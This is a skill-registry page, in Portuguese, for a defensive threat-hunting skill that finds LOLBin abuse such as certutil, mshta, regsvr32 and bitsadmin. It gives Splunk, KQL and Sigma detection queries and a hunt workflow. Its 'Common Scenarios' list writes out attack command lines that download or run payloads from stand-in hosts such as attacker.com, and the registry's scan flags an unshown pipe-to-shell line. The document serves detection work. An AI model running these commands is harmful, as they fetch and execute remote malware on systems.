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mukul975/hunting-for-lolbins-execution-in-endpoint-logsDFIR e threat hunting

hunting-for-lolbins-execution-in-endpoint-logs

⁨Hunts for LOLBins (Living Off the Land Binaries) abuse, mapped to MITRE⁩

v1.03 instalações+3 em 7 dias36,3 mil EstrelasApache-2.0sincronizado há 12 horas

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$ notholy skills install mukul975/hunting-for-lolbins-execution-in-endpoint-logs

Grava em ⁦~/.notholy/skills⁩ depois de conferir a assinatura e o SHA-256.

AssinaturaAssinado, ed25519
ZKyybDRWsE…ZwvNdgDg==A CLI confere o SHA-256 e a assinatura antes de gravar qualquer arquivo.
Pacote07d3288e…550d8a70
07d3288ebbba…a23e550d8a708 arquivos · ⁦13.2 KB⁩
VarreduraMédio4 achados
  • Script executável junto com a skillscripts/agent.py
  • command.pipe_to_shellscripts/agent.py:24
  • Script executável junto com a skillscripts/process.py
Ver a varredura completa
Fontegithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/hunting-for-lolbins-execution-in-endpoint-logs@54a7988

Este item ainda não foi escrito no seu idioma, então aparece em English.

When to Use

  • When hunting for fileless attack techniques that abuse built-in Windows binaries
  • After threat intelligence indicates LOLBin-based campaigns targeting your industry
  • When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32
  • During purple team exercises testing detection of defense evasion techniques
  • When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques

Prerequisites

  • Sysmon Event ID 1 (Process Creation) with full command-line logging
  • Windows Security Event ID 4688 with command-line auditing enabled
  • EDR telemetry with parent-child process relationships
  • SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)
  • LOLBAS project reference (lolbas-project.github.io) for known abuse patterns

Workflow

  1. Build LOLBin Watchlist: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.
  2. Baseline Normal Usage: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.
  3. Hunt for Anomalous Arguments: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with -urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with /s /n /u /i:URL.
  4. Analyze Parent-Child Relationships: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.
  5. Check Execution from Unusual Paths: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.
  6. Correlate with Network Activity: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.
  7. Score and Prioritize: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.

Key Concepts

Concept Description
T1218 System Binary Proxy Execution
T1218.001 Compiled HTML File (mshta.exe)
T1218.003 CMSTP
T1218.005 Mshta
T1218.010 Regsvr32 (Squiblydoo)
T1218.011 Rundll32
T1127.001 MSBuild
T1197 BITS Jobs (bitsadmin.exe)
T1140 Deobfuscate/Decode Files (certutil.exe)
T1059.001 PowerShell
T1059.005 Visual Basic (wscript/cscript)
LOLBAS Living Off the Land Binaries, Scripts and Libraries project

Tools & Systems

Tool Purpose
Sysmon Process creation with command-line and hash logging
CrowdStrike Falcon EDR with LOLBin detection analytics
Microsoft Defender for Endpoint Built-in LOLBin abuse detection
Splunk SPL-based process hunting and anomaly detection
Elastic Security Pre-built LOLBin detection rules
LOLBAS Project Reference database of LOLBin abuse techniques
Sigma Rules Community detection rules for LOLBin abuse

Detection Queries

Splunk -- High-Risk LOLBin Execution

spl
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
    match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
    match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
    match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
    match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
    match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
    match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
    match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
    1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious

KQL -- Microsoft Sentinel LOLBin Hunting

kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Sigma Rule -- Suspicious LOLBin Command Line

yaml
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
            - '-encode'
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'javascript:'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains|all:
            - '/s'
            - '/i:'
    condition: 1 of selection_*
level: high
tags:
    - attack.defense_evasion
    - attack.t1218

Common Scenarios

  1. Certutil Download Cradle: certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe used to download malware bypassing proxy filters.
  2. Mshta HTA Execution: mshta.exe http://attacker.com/malicious.hta executing remote HTA files containing VBScript or JScript payloads.
  3. Regsvr32 Squiblydoo: regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll executing remote SCT files to bypass application whitelisting.
  4. Rundll32 DLL Proxy: rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint executing attacker DLLs via legitimate binary.
  5. MSBuild Inline Task: msbuild.exe C:\Temp\malicious.csproj executing C# code embedded in project files to bypass application control.
  6. BITS Transfer: bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe using BITS service for stealthy file download.
  7. WMIC XSL Execution: wmic process list /format:evil.xsl executing JScript/VBScript from XSL stylesheets.

Output Format

text
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]

Arquivos desta versão

Permissões

PermissãoDeclaradaEncontrada na varredura
Lê arquivosNãoNão
Grava arquivosSimSim
Roda comandos no shellSimSim
Usa a redeSimSim
Usa conectoresNãoNão
Controla um navegadorNãoNão

Achados da varredura

Revisado em 13 de nov. de 2026

  1. MédiaArquivo · Script executável junto com a skillscripts/agent.py
  2. MédiaComando · command.pipe_to_shellscripts/agent.py:24
  3. MédiaArquivo · Script executável junto com a skillscripts/process.py
  4. InfoLink · Links para domínios externos

Uma varredura limpa reduz o risco, mas não prova que o pacote é seguro. Leia o que você instala.

VersãoPublicada emCommitSHA-256AssinaturaMudança de permissão
v1.013 de nov. de 202654a798807d3288eAssinada–

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